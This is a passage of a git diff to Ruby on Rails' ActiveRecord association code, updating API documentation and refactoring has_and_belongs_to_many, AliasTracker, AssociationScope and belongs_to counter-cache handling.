       #   their owner is destroyed. Note that these are implemented as
@@ -1194,11 +1247,15 @@ module ActiveRecord
       #   that is the inverse of this <tt>has_many</tt> association. Does not work in combination
       #   with <tt>:through</tt> or <tt>:as</tt> options.
       #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+      # [:extend]
+      #   Specifies a module or array of modules that will be extended into the association object returned.
+      #   Useful for defining methods on associations, especially when they should be shared between multiple
+      #   association objects.
       #
       # Option examples:
       #   has_many :comments, -> { order "posted_on" }
       #   has_many :comments, -> { includes :author }
-      #   has_many :people, -> { where("deleted = 0").order("name") }, class_name: "Person"
+      #   has_many :people, -> { where(deleted: false).order("name") }, class_name: "Person"
       #   has_many :tracks, -> { order "position" }, dependent: :destroy
       #   has_many :comments, dependent: :nullify
       #   has_many :tags, as: :taggable
@@ -1216,11 +1273,15 @@ module ActiveRecord
       #
       # The following methods for retrieval and query of a single associated object will be added:
       #
+      # +association+ is a placeholder for the symbol passed as the +name+ argument, so
+      # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.
+      #
       # [association(force_reload = false)]
       #   Returns the associated object. +nil+ is returned if none is found.
       # [association=(associate)]
       #   Assigns the associate object, extracts the primary key, sets it as the foreign key,
-      #   and saves the associate object.
+      #   and saves the associate object. To avoid database inconsistencies, permanently deletes an existing
+      #   associated object when assigning a new one, even if the new one isn't saved to database.
       # [build_association(attributes = {})]
       #   Returns a new object of the associated type that has been instantiated
       #   with +attributes+ and linked to this object through a foreign key, but has not
@@ -1233,9 +1294,6 @@ module ActiveRecord
       #   Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
       #   if the record is invalid.
       #
-      # (+association+ is replaced with the symbol passed as the first argument, so
-      # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.)
-      #
       # === Example
       #
       # An Account class declares <tt>has_one :beneficiary</tt>, which will add:
@@ -1245,9 +1303,20 @@ module ActiveRecord
       # * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>)
       # * <tt>Account#create_beneficiary!</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save!; b</tt>)
       #
+      # === Scopes
+      #
+      # You can pass a second argument +scope+ as a callable (i.e. proc or
+      # lambda) to retrieve a specific record or customize the generated query
+      # when you access the associated object.
+      #
+      # Scope examples:
+      #   has_one :author, -> { where(comment_id: 1) }
+      #   has_one :employer, -> { joins(:company) }
+      #   has_one :dob, ->(dob) { where("Date.new(2000, 01, 01) > ?", dob) }
+      #
       # === Options
       #
-      # The declaration can also include an options hash to specialize the behavior of the association.
+      # The declaration can also include an +options+ hash to specialize the behavior of the association.
       #
       # Options are:
       # [:class_name]
@@ -1263,10 +1332,18 @@ module ActiveRecord
       #   * <tt>:nullify</tt> causes the foreign key to be set to +NULL+. Callbacks are not executed.
       #   * <tt>:restrict_with_exception</tt> causes an exception to be raised if there is an associated record
       #   * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there is an associated object
+      #
+      #   Note that <tt>:dependent</tt> option is ignored when using <tt>:through</tt> option.
       # [:foreign_key]
       #   Specify the foreign key used for the association. By default this is guessed to be the name
       #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_one+ association
       #   will use "person_id" as the default <tt>:foreign_key</tt>.
+      # [:foreign_type]
+      #   Specify the column used to store the associated object's type, if this is a polymorphic
+      #   association. By default this is guessed to be the name of the polymorphic association
+      #   specified on "as" option with a "_type" suffix. So a class that defines a
+      #   <tt>has_one :tag, as: :taggable</tt> association will use "taggable_type" as the
+      #   default <tt>:foreign_type</tt>.
       # [:primary_key]
       #   Specify the method that returns the primary key used for the association. By default this is +id+.
       # [:as]
@@ -1297,6 +1374,10 @@ module ActiveRecord
       #   that is the inverse of this <tt>has_one</tt> association. Does not work in combination
       #   with <tt>:through</tt> or <tt>:as</tt> options.
       #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+      # [:required]
+      #   When set to +true+, the association will also have its presence validated.
+      #   This will validate the association itself, not the id. You can use
+      #   +:inverse_of+ to avoid an extra query during validation.
       #
       # Option examples:
       #   has_one :credit_card, dependent: :destroy  # destroys the associated credit card
@@ -1308,6 +1389,7 @@ module ActiveRecord
       #   has_one :boss, readonly: :true
       #   has_one :club, through: :membership
       #   has_one :primary_address, -> { where primary: true }, through: :addressables, source: :addressable
+      #   has_one :credit_card, required: true
       def has_one(name, scope = nil, options = {})
         reflection = Builder::HasOne.build(self, name, scope, options)
         Reflection.add_reflection self, name, reflection
@@ -1321,6 +1403,9 @@ module ActiveRecord
       # Methods will be added for retrieval and query for a single associated object, for which
       # this object holds an id:
       #
+      # +association+ is a placeholder for the symbol passed as the +name+ argument, so
+      # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.
+      #
       # [association(force_reload = false)]
       #   Returns the associated object. +nil+ is returned if none is found.
       # [association=(associate)]
@@ -1336,9 +1421,6 @@ module ActiveRecord
       #   Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
       #   if the record is invalid.
       #
-      # (+association+ is replaced with the symbol passed as the first argument, so
-      # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.)
-      #
       # === Example
       #
       # A Post class declares <tt>belongs_to :author</tt>, which will add:
@@ -1347,7 +1429,18 @@ module ActiveRecord
       # * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
       # * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
       # * <tt>Post#create_author!</tt> (similar to <tt>post.author = Author.new; post.author.save!; post.author</tt>)
-      # The declaration can also include an options hash to specialize the behavior of the association.
+      # The declaration can also include an +options+ hash to specialize the behavior of the association.
+      #
+      # === Scopes
+      #
+      # You can pass a second argument +scope+ as a callable (i.e. proc or
+      # lambda) to retrieve a specific record or customize the generated query
+      # when you access the associated object.
+      #
+      # Scope examples:
+      #   belongs_to :user, -> { where(id: 2) }
+      #   belongs_to :user, -> { joins(:friends) }
+      #   belongs_to :level, ->(level) { where("game_level > ?", level.current) }
       #
       # === Options
       #
@@ -1401,7 +1494,7 @@ module ActiveRecord
       #
       #   Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
       # [:touch]
-      #   If true, the associated object will be touched (the updated_at/on attributes set to now)
+      #   If true, the associated object will be touched (the updated_at/on attributes set to current time)
       #   when this record is either saved or destroyed. If you specify a symbol, that attribute
       #   will be updated with the current time in addition to the updated_at/on attribute.
       # [:inverse_of]
@@ -1409,18 +1502,23 @@ module ActiveRecord
       #   object that is the inverse of this <tt>belongs_to</tt> association. Does not work in
       #   combination with the <tt>:polymorphic</tt> options.
       #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+      # [:required]
+      #   When set to +true+, the association will also have its presence validated.
+      #   This will validate the association itself, not the id. You can use
+      #   +:inverse_of+ to avoid an extra query during validation.
       #
       # Option examples:
       #   belongs_to :firm, foreign_key: "client_of"
       #   belongs_to :person, primary_key: "name", foreign_key: "person_name"
       #   belongs_to :author, class_name: "Person", foreign_key: "author_id"
-      #   belongs_to :valid_coupon, ->(o) { where "discounts > #{o.payments_count}" },
+      #   belongs_to :valid_coupon, ->(o) { where "discounts > ?", o.payments_count },
       #                             class_name: "Coupon", foreign_key: "coupon_id"
       #   belongs_to :attachable, polymorphic: true
       #   belongs_to :project, readonly: true
       #   belongs_to :post, counter_cache: true
       #   belongs_to :company, touch: true
       #   belongs_to :company, touch: :employees_last_updated_at
+      #   belongs_to :company, required: true
       def belongs_to(name, scope = nil, options = {})
         reflection = Builder::BelongsTo.build(self, name, scope, options)
         Reflection.add_reflection self, name, reflection
@@ -1458,6 +1556,9 @@ module ActiveRecord
       #
       # Adds the following methods for retrieval and query:
       #
+      # +collection+ is a placeholder for the symbol passed as the +name+ argument, so
+      # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.
+      #
       # [collection(force_reload = false)]
       #   Returns an array of all the associated objects.
       #   An empty array is returned if none are found.
@@ -1499,9 +1600,6 @@ module ActiveRecord
       #   with +attributes+, linked to this object through the join table, and that has already been
       #   saved (if it passed the validation).
       #
-      # (+collection+ is replaced with the symbol passed as the first argument, so
-      # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.)
-      #
       # === Example
       #
       # A Developer class declares <tt>has_and_belongs_to_many :projects</tt>, which will add:
@@ -1519,7 +1617,34 @@ module ActiveRecord
       # * <tt>Developer#projects.exists?(...)</tt>
       # * <tt>Developer#projects.build</tt> (similar to <tt>Project.new("developer_id" => id)</tt>)
       # * <tt>Developer#projects.create</tt> (similar to <tt>c = Project.new("developer_id" => id); c.save; c</tt>)
-      # The declaration may include an options hash to specialize the behavior of the association.
+      # The declaration may include an +options+ hash to specialize the behavior of the association.
+      #
+      # === Scopes
+      #
+      # You can pass a second argument +scope+ as a callable (i.e. proc or
+      # lambda) to retrieve a specific set of records or customize the generated
+      # query when you access the associated collection.
+      #
+      # Scope examples:
+      #   has_and_belongs_to_many :projects, -> { includes :milestones, :manager }
+      #   has_and_belongs_to_many :categories, ->(category) {
+      #     where("default_category = ?", category.name)
+      #   }
+      #
+      # === Extensions
+      #
+      # The +extension+ argument allows you to pass a block into a
+      # has_and_belongs_to_many association. This is useful for adding new
+      # finders, creators and other factory-type methods to be used as part of
+      # the association.
+      #
+      # Extension examples:
+      #   has_and_belongs_to_many :contractors do
+      #     def find_or_create_by_name(name)
+      #       first_name, last_name = name.split(" ", 2)
+      #       find_or_create_by(first_name: first_name, last_name: last_name)
+      #     end
+      #   end
       #
       # === Options
       #
@@ -1560,8 +1685,48 @@ module ActiveRecord
       #   has_and_belongs_to_many :categories, join_table: "prods_cats"
       #   has_and_belongs_to_many :categories, -> { readonly }
       def has_and_belongs_to_many(name, scope = nil, options = {}, &extension)
-        reflection = Builder::HasAndBelongsToMany.build(self, name, scope, options, &extension)
-        Reflection.add_reflection self, name, reflection
+        if scope.is_a?(Hash)
+          options = scope
+          scope   = nil
+        end
+
+        habtm_reflection = ActiveRecord::Reflection::HasAndBelongsToManyReflection.new(name, scope, options, self)
+
+        builder = Builder::HasAndBelongsToMany.new name, self, options
+
+        join_model = builder.through_model
+
+        # FIXME: we should move this to the internal constants. Also people
+        # should never directly access this constant so I'm not happy about
+        # setting it.
+        const_set join_model.name, join_model
+
+        middle_reflection = builder.middle_reflection join_model
+
+        Builder::HasMany.define_callbacks self, middle_reflection
+        Reflection.add_reflection self, middle_reflection.name, middle_reflection
+        middle_reflection.parent_reflection = [name.to_s, habtm_reflection]
+
+        include Module.new {
+          class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def destroy_associations
+            association(:#{middle_reflection.name}).delete_all(:delete_all)
+            association(:#{name}).reset
+            super
+          end
+          RUBY
+        }
+
+        hm_options = {}
+        hm_options[:through] = middle_reflection.name
+        hm_options[:source] = join_model.right_reflection.name
+
+        [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table, :class_name].each do |k|
+          hm_options[k] = options[k] if options.key? k
+        end
+
+        has_many name, scope, hm_options, &extension
+        self._reflections[name.to_s].parent_reflection = [name.to_s, habtm_reflection]
       end
     end
   end
diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb
index 0c23029981..2b7e4f28c5 100644
--- a/activerecord/lib/active_record/associations/alias_tracker.rb
+++ b/activerecord/lib/active_record/associations/alias_tracker.rb
@@ -5,71 +5,86 @@ module ActiveRecord
     # Keeps track of table aliases for ActiveRecord::Associations::ClassMethods::JoinDependency and
     # ActiveRecord::Associations::ThroughAssociationScope
     class AliasTracker # :nodoc:
-      attr_reader :aliases, :table_joins, :connection
+      attr_reader :aliases
 
-      # table_joins is an array of arel joins which might conflict with the aliases we assign here
-      def initialize(connection = Base.connection, table_joins = [])
-        @aliases     = Hash.new { |h,k| h[k] = initial_count_for(k) }
-        @table_joins = table_joins
-        @connection  = connection
+      def self.create(connection, initial_table, type_caster)
+        aliases = Hash.new(0)
+        aliases[initial_table] = 1
+        new connection, aliases, type_caster
       end
 
-      def aliased_table_for(table_name, aliased_name = nil)
-        table_alias = aliased_name_for(table_name, aliased_name)
-
-        if table_alias == table_name
-          Arel::Table.new(table_name)
+      def self.create_with_joins(connection, initial_table, joins, type_caster)
+        if joins.empty?
+          create(connection, initial_table, type_caster)
         else
-          Arel::Table.new(table_name).alias(table_alias)
+          aliases = Hash.new { |h, k|
+            h[k] = initial_count_for(connection, k, joins)
+          }
+          aliases[initial_table] = 1
+          new connection, aliases, type_caster
         end
       end
 
-      def aliased_name_for(table_name, aliased_name = nil)
-        aliased_name ||= table_name
+      def self.initial_count_for(connection, name, table_joins)
+        # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
+        quoted_name = connection.quote_table_name(name).downcase
 
+        counts = table_joins.map do |join|
+          if join.is_a?(Arel::Nodes::StringJoin)
+            # Table names + table aliases
+            join.left.downcase.scan(
+              /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
+            ).size
+          elsif join.respond_to? :left
+            join.left.table_name == name ? 1 : 0
+          else
+            # this branch is reached by two tests:
+            #
+            # activerecord/test/cases/associations/cascaded_eager_loading_test.rb:37
+            #   with :posts
+            #
+            # activerecord/test/cases/associations/eager_test.rb:1133
+            #   with :comments
+            #
+            0
+          end
+        end
+
+        counts.sum
+      end
+
+      # table_joins is an array of arel joins which might conflict with the aliases we assign here
+      def initialize(connection, aliases, type_caster)
+        @aliases    = aliases
+        @connection = connection
+        @type_caster = type_caster
+      end
+
+      def aliased_table_for(table_name, aliased_name)
         if aliases[table_name].zero?
           # If it's zero, we can have our table_name
           aliases[table_name] = 1
-          table_name
+          Arel::Table.new(table_name, type_caster: @type_caster)
         else
           # Otherwise, we need to use an alias
-          aliased_name = connection.table_alias_for(aliased_name)
+          aliased_name = @connection.table_alias_for(aliased_name)
 
           # Update the count
           aliases[aliased_name] += 1
 
-          if aliases[aliased_name] > 1
+          table_alias = if aliases[aliased_name] > 1
             "#{truncate(aliased_name)}_#{aliases[aliased_name]}"
           else
             aliased_name
           end
+          Arel::Table.new(table_name, type_caster: @type_caster).alias(table_alias)
         end
       end
 
       private
 
-        def initial_count_for(name)
-          return 0 if Arel::Table === table_joins
-
-          # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
-          quoted_name = connection.quote_table_name(name).downcase
-
-          counts = table_joins.map do |join|
-            if join.is_a?(Arel::Nodes::StringJoin)
-              # Table names + table aliases
-              join.left.downcase.scan(
-                /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
-              ).size
-            else
-              join.left.table_name == name ? 1 : 0
-            end
-          end
-
-          counts.sum
-        end
-
         def truncate(name)
-          name.slice(0, connection.table_alias_length - 2)
+          name.slice(0, @connection.table_alias_length - 2)
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
index 67d24b35d1..0d8e4ba870 100644
--- a/activerecord/lib/active_record/associations/association.rb
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -13,11 +13,11 @@ module ActiveRecord
     #       BelongsToAssociation
     #         BelongsToPolymorphicAssociation
     #     CollectionAssociation
-    #       HasAndBelongsToManyAssociation
     #       HasManyAssociation
     #         HasManyThroughAssociation + ThroughAssociation
     class Association #:nodoc:
       attr_reader :owner, :target, :reflection
+      attr_accessor :inversed
 
       delegate :options, :to => :reflection
 
@@ -43,6 +43,7 @@ module ActiveRecord
         @loaded = false
         @target = nil
         @stale_state = nil
+        @inversed = false
       end
 
       # Reloads the \target and returns +self+ on success.
@@ -60,18 +61,19 @@ module ActiveRecord
 
       # Asserts the \target has been loaded setting the \loaded flag to +true+.
       def loaded!
-        @loaded      = true
+        @loaded = true
         @stale_state = stale_state
+        @inversed = false
       end
 
       # The target is stale if the target no longer points to the record(s) that the
       # relevant foreign_key(s) refers to. If stale, the association accessor method
       # on the owner will reload the target. It's up to subclasses to implement the
-      # state_state method if relevant.
+      # stale_state method if relevant.
       #
       # Note that if the target has not been loaded, it is not considered stale.
       def stale_target?
-        loaded? && @stale_state != stale_state
+        !inversed && loaded? && @stale_state != stale_state
       end
 
       # Sets the target of this association to <tt>\target</tt>, and the \loaded flag to +true+.
@@ -92,7 +94,7 @@ module ActiveRecord
       # actually gets built.
       def association_scope
         if klass
-          @association_scope ||= AssociationScope.new(self).scope
+          @association_scope ||= AssociationScope.scope(self, klass.connection)
         end
       end
 
@@ -102,10 +104,12 @@ module ActiveRecord
 
       # Set the inverse association, if possible
       def set_inverse_instance(record)
-        if record && invertible_for?(record)
+        if invertible_for?(record)
           inverse = record.association(inverse_reflection_for(record).name)
           inverse.target = owner
+          inverse.inversed = true
         end
+        record
       end
 
       # Returns the class of the target. belongs_to polymorphic overrides this to look at the
@@ -117,7 +121,7 @@ module ActiveRecord
       # Can be overridden (i.e. in ThroughAssociation) to merge in other scopes (i.e. the
       # through association's scope)
       def target_scope
-        AssociationRelation.create(klass, klass.arel_table, self).merge!(klass.all)
+        AssociationRelation.create(klass, klass.arel_table, klass.predicate_builder, self).merge!(klass.all)
       end
 
       # Loads the \target if needed and returns it.
@@ -156,7 +160,7 @@ module ActiveRecord
       def marshal_load(data)
         reflection_name, ivars = data
         ivars.each { |name, val| instance_variable_set(name, val) }
-        @reflection = @owner.class.reflect_on_association(reflection_name)
+        @reflection = @owner.class._reflect_on_association(reflection_name)
       end
 
       def initialize_attributes(record) #:nodoc:
@@ -175,7 +179,7 @@ module ActiveRecord
         def creation_attributes
           attributes = {}
 
-          if (reflection.macro == :has_one || reflection.macro == :has_many) && !options[:through]
+          if (reflection.has_one? || reflection.collection?) && !options[:through]
             attributes[reflection.foreign_key] = owner[reflection.active_record_primary_key]
 
             if reflection.options[:as]
@@ -223,7 +227,12 @@ module ActiveRecord
         # Returns true if inverse association on the given record needs to be set.
         # This method is redefined by subclasses.
         def invertible_for?(record)
-          inverse_reflection_for(record)
+          foreign_key_for?(record) && inverse_reflection_for(record)
+        end
+
+        # Returns true if record contains the foreign_key
+        def foreign_key_for?(record)
+          record.has_attribute?(reflection.foreign_key)
         end
 
         # This should be implemented to return the values of the relevant key(s) on the owner,
diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
index 8027acfb83..2416167834 100644
--- a/activerecord/lib/active_record/associations/association_scope.rb
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -1,136 +1,164 @@
 module ActiveRecord
   module Associations
     class AssociationScope #:nodoc:
-      include JoinHelper
-
-      attr_reader :association, :alias_tracker
+      def self.scope(association, connection)
+        INSTANCE.scope(association, connection)
+      end
 
-      delegate :klass, :owner, :reflection, :interpolate, :to => :association
-      delegate :chain, :scope_chain, :options, :source_options, :active_record, :to => :reflection
+      def self.create(&block)
+        block ||= lambda { |val| val }
+        new(block)
+      end
 
-      def initialize(association)
-        @association   = association
-        @alias_tracker = AliasTracker.new klass.connection
+      def initialize(value_transformation)
+        @value_transformation = value_transformation
       end
 
-      def scope
+      INSTANCE = create
+
+      def scope(association, connection)
+        klass = association.klass
+        reflection = association.reflection
         scope = klass.unscoped
-        scope.extending! Array(options[:extend])
-        add_constraints(scope)
+        owner = association.owner
+        alias_tracker = AliasTracker.create connection, association.klass.table_name, klass.type_caster
+        chain_head, chain_tail = get_chain(reflection, association, alias_tracker)
+
+        scope.extending! Array(reflection.options[:extend])
+        add_constraints(scope, owner, klass, reflection, chain_head, chain_tail)
       end
 
-      private
+      def join_type
+        Arel::Nodes::InnerJoin
+      end
+
+      def self.get_bind_values(owner, chain)
+        binds = []
+        last_reflection = chain.last
 
-      def column_for(table_name, column_name)
-        columns = alias_tracker.connection.schema_cache.columns_hash(table_name)
-        columns[column_name]
+        binds << last_reflection.join_id_for(owner)
+        if last_reflection.type
+          binds << owner.class.base_class.name
+        end
+
+        chain.each_cons(2).each do |reflection, next_reflection|
+          if reflection.type
+            binds << next_reflection.klass.base_class.name
+          end
+        end
+        binds
       end
 
-      def bind_value(scope, column, value)
-        substitute = alias_tracker.connection.substitute_at(
-          column, scope.bind_values.length)
-        scope.bind_values += [[column, value]]
-        substitute
+      protected
+
+      attr_reader :value_transformation
+
+      private
+      def join(table, constraint)
+        table.create_join(table, table.create_on(constraint), join_type)
       end
 
-      def bind(scope, table_name, column_name, value)
-        column   = column_for table_name, column_name
-        bind_value scope, column, value
+      def last_chain_scope(scope, table, reflection, owner, association_klass)
+        join_keys = reflection.join_keys(association_klass)
+        key = join_keys.key
+        foreign_key = join_keys.foreign_key
+
+        value = transform_value(owner[foreign_key])
+        scope = scope.where(table.name => { key => value })
+
+        if reflection.type
+          polymorphic_type = transform_value(owner.class.base_class.name)
+          scope = scope.where(table.name => { reflection.type => polymorphic_type })
+        end
+
+        scope
       end
 
-      def add_constraints(scope)
-        tables = construct_tables
+      def transform_value(value)
+        value_transformation.call(value)
+      end
 
-        chain.each_with_index do |reflection, i|
-          table, foreign_table = tables.shift, tables.first
+      def next_chain_scope(scope, table, reflection, association_klass, foreign_table, next_reflection)
+        join_keys = reflection.join_keys(association_klass)
+        key = join_keys.key
+        foreign_key = join_keys.foreign_key
 
-          if reflection.source_macro == :has_and_belongs_to_many
-            join_table = tables.shift
+        constraint = table[key].eq(foreign_table[foreign_key])
 
-            scope = scope.joins(join(
-              join_table,
-              table[reflection.association_primary_key].
-                eq(join_table[reflection.association_foreign_key])
-            ))
+        if reflection.type
+          value = transform_value(next_reflection.klass.base_class.name)
+          scope = scope.where(table.name => { reflection.type => value })
+        end
 
-            table, foreign_table = join_table, tables.first
-          end
+        scope = scope.joins(join(foreign_table, constraint))
+      end
 
-          if reflection.source_macro == :belongs_to
-            if reflection.options[:polymorphic]
-              key = reflection.association_primary_key(self.klass)
-            else
-              key = reflection.association_primary_key
-            end
+      class ReflectionProxy < SimpleDelegator # :nodoc:
+        attr_accessor :next
+        attr_reader :alias_name
 
-            foreign_key = reflection.foreign_key
-          else
-            key         = reflection.foreign_key
-            foreign_key = reflection.active_record_primary_key
-          end
+        def initialize(reflection, alias_name)
+          super(reflection)
+          @alias_name = alias_name
+        end
 
-          if reflection == chain.last
-            bind_val = bind scope, table.table_name, key.to_s, owner[foreign_key]
-            scope    = scope.where(table[key].eq(bind_val))
+        def all_includes; nil; end
+      end
 
-            if reflection.type
-              value    = owner.class.base_class.name
-              bind_val = bind scope, table.table_name, reflection.type.to_s, value
-              scope    = scope.where(table[reflection.type].eq(bind_val))
-            end
-          else
-            constraint = table[key].eq(foreign_table[foreign_key])
+      def get_chain(reflection, association, tracker)
+        name = reflection.name
+        runtime_reflection = Reflection::RuntimeReflection.new(reflection, association)
+        previous_reflection = runtime_reflection
+        reflection.chain.drop(1).each do |refl|
+          alias_name = tracker.aliased_table_for(refl.table_name, refl.alias_candidate(name))
+          proxy = ReflectionProxy.new(refl, alias_name)
+          previous_reflection.next = proxy
+          previous_reflection = proxy
+        end
+        [runtime_reflection, previous_reflection]
+      end
 
-            if reflection.type
-              value    = chain[i + 1].klass.base_class.name
-              bind_val = bind scope, table.table_name, reflection.type.to_s, value
-              scope    = scope.where(table[reflection.type].eq(bind_val))
-            end
+      def add_constraints(scope, owner, association_klass, refl, chain_head, chain_tail)
+        owner_reflection = chain_tail
+        table = owner_reflection.alias_name
+        scope = last_chain_scope(scope, table, owner_reflection, owner, association_klass)
 
-            scope = scope.joins(join(foreign_table, constraint))
-          end
+        reflection = chain_head
+        loop do
+          break unless reflection
+          table = reflection.alias_name
 
-          klass = i == 0 ? self.klass : reflection.klass
+          unless reflection == chain_tail
+            next_reflection = reflection.next
+            foreign_table = next_reflection.alias_name
+            scope = next_chain_scope(scope, table, reflection, association_klass, foreign_table, next_reflection)
+          end
 
           # Exclude the scope of the association itself, because that
           # was already merged in the #scope method.
-          scope_chain[i].each do |scope_chain_item|
-            item  = eval_scope(klass, scope_chain_item)
+          reflection.constraints.each do |scope_chain_item|
+            item  = eval_scope(reflection.klass, scope_chain_item, owner)
+
+            if scope_chain_item == refl.scope
+              scope.merge! item.except(:where, :includes)
+            end
 
-            if scope_chain_item == self.reflection.scope
-              scope.merge! item.except(:where, :includes, :bind)
+            reflection.all_includes do
+              scope.includes! item.includes_values
             end
 
-            scope.includes! item.includes_values
-            scope.where_values += item.where_values
+            scope.where_clause += item.where_clause
             scope.order_values |= item.order_values
           end
+
+          reflection = reflection.next
         end
 
         scope
       end
 
-      def alias_suffix
-        reflection.name
-      end
-
-      def table_name_for(reflection)
-        if reflection == self.reflection
-          # If this is a polymorphic belongs_to, we want to get the klass from the
-          # association because it depends on the polymorphic_type attribute of
-          # the owner
-          klass.table_name
-        else
-          super
-        end
-      end
-
-      def eval_scope(klass, scope)
-        if scope.is_a?(Relation)
-          scope
-        else
-          klass.unscoped.instance_exec(owner, &scope)
-        end
+      def eval_scope(klass, scope, owner)
+        klass.unscoped.instance_exec(owner, &scope)
       end
     end
   end
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
index 8eec4f56af..265a65c4c1 100644
--- a/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -8,13 +8,16 @@ module ActiveRecord
       end
 
       def replace(record)
-        raise_on_type_mismatch!(record) if record
-
-        update_counters(record)
-        replace_keys(record)
-        set_inverse_instance(record)
-
-        @updated = true if record
+        if record
+          raise_on_type_mismatch!(record)
+          update_counters(record)
+          replace_keys(record)
+          set_inverse_instance(record)
+          @updated = true
+        else
+          decrement_counters
+          remove_keys
+        end
 
         self.target = record
       end
@@ -28,64 +31,84 @@ module ActiveRecord
         @updated
       end
 
+      def decrement_counters # :nodoc:
+        with_cache_name { |name| decrement_counter name }
+      end
+
+      def increment_counters # :nodoc:
+        with_cache_name { |name| increment_counter name }
+      end
+
       private
 
         def find_target?
           !loaded? && foreign_key_present? && klass
         end
 
-        def update_counters(record)
+        def with_cache_name
           counter_cache_name = reflection.counter_cache_column
+          return unless counter_cache_name && owner.persisted?
+          yield counter_cache_name
+        end
 
-          if counter_cache_name && owner.persisted? && different_target?(record)
-            if record
-              record.class.increment_counter(counter_cache_name, record.id)
-            end
+        def update_counters(record)
+          with_cache_name do |name|
+            return unless different_target? record
+            record.class.increment_counter(name, record.id)
+            decrement_counter name
+          end
+        end
+
+        def decrement_counter(counter_cache_name)
+          if foreign_key_present?
+            klass.decrement_counter(counter_cache_name, target_id)
+          end
+        end
 
-            if foreign_key_present?
-              klass.decrement_counter(counter_cache_name, target_id)
+        def increment_counter(counter_cache_name)
+          if foreign_key_present?
+            klass.increment_counter(counter_cache_name, target_id)
+            if target && !stale_target?
+              target.increment(counter_cache_name)
             end
           end
         end
 
         # Checks whether record is different to the current target, without loading it
         def different_target?(record)
-          if record.nil? 
-            owner[reflection.foreign_key] 
-          else
-            record.id != owner[reflection.foreign_key]
-          end
+          record.id != owner._read_attribute(reflection.foreign_key)
         end
 
         def replace_keys(record)
-          if record
-            owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
-          else
-            owner[reflection.foreign_key] = nil
-          end
+          owner[reflection.foreign_key] = record._read_attribute(reflection.association_primary_key(record.class))
+        end
+
+        def remove_keys
+          owner[reflection.foreign_key] = nil
         end
 
         def foreign_key_present?
-          owner[reflection.foreign_key]
+          owner._read_attribute(reflection.foreign_key)
         end
 
         # NOTE - for now, we're only supporting inverse setting from belongs_to back onto
         # has_one associations.
         def invertible_for?(record)
           inverse = inverse_reflection_for(record)
-          inverse && inverse.macro == :has_one
+          inverse && inverse.has_one?
         end
 
         def target_id
           if options[:primary_key]
             owner.send(reflection.name).try(:id)
           else
-            owner[reflection.foreign_key]
+            owner._read_attribute(reflection.foreign_key)
           end
         end
 
         def stale_state
-          owner[reflection.foreign_key] && owner[reflection.foreign_key].to_s
+          result = owner._read_attribute(reflection.foreign_key)
+          result && result.to_s
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
index eae5eed3a1..b710cf6bdb 100644
--- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -11,7 +11,12 @@ module ActiveRecord
 
         def replace_keys(record)
           super
-          owner[reflection.foreign_type] = record && record.class.base_class.name
+          owner[reflection.foreign_type] = record.class.base_class.name
+        end
+
+        def remove_keys
+          super
+          owner[reflection.foreign_type] = nil
         end
 
         def different_target?(record)
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
index 34de1a1f32..88406740d8 100644
--- a/activerecord/lib/active_record/associations/builder/association.rb
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -8,7 +8,6 @@
 #      - HasOneAssociation
 #    - CollectionAssociation
 #      - HasManyAssociation
-#      - HasAndBelongsToManyAssociation
 
 module ActiveRecord::Associations::Builder
   class Association #:nodoc:
@@ -17,11 +16,24 @@ module ActiveRecord::Associations::Builder
     end
     self.extensions = []
 
-    VALID_OPTIONS = [:class_name, :foreign_key, :validate]
-
-    attr_reader :name, :scope, :options
+    VALID_OPTIONS = [:class_name, :class, :foreign_key, :validate] # :nodoc:
 
     def self.build(model, name, scope, options, &block)
+      if model.dangerous_attribute_method?(name)
+        raise ArgumentError, "You tried to define an association named #{name} on the model #{model.name}, but " \
+                             "this will conflict with a method #{name} already defined by Active Record. " \
+                             "Please choose a different association name."
+      end
+
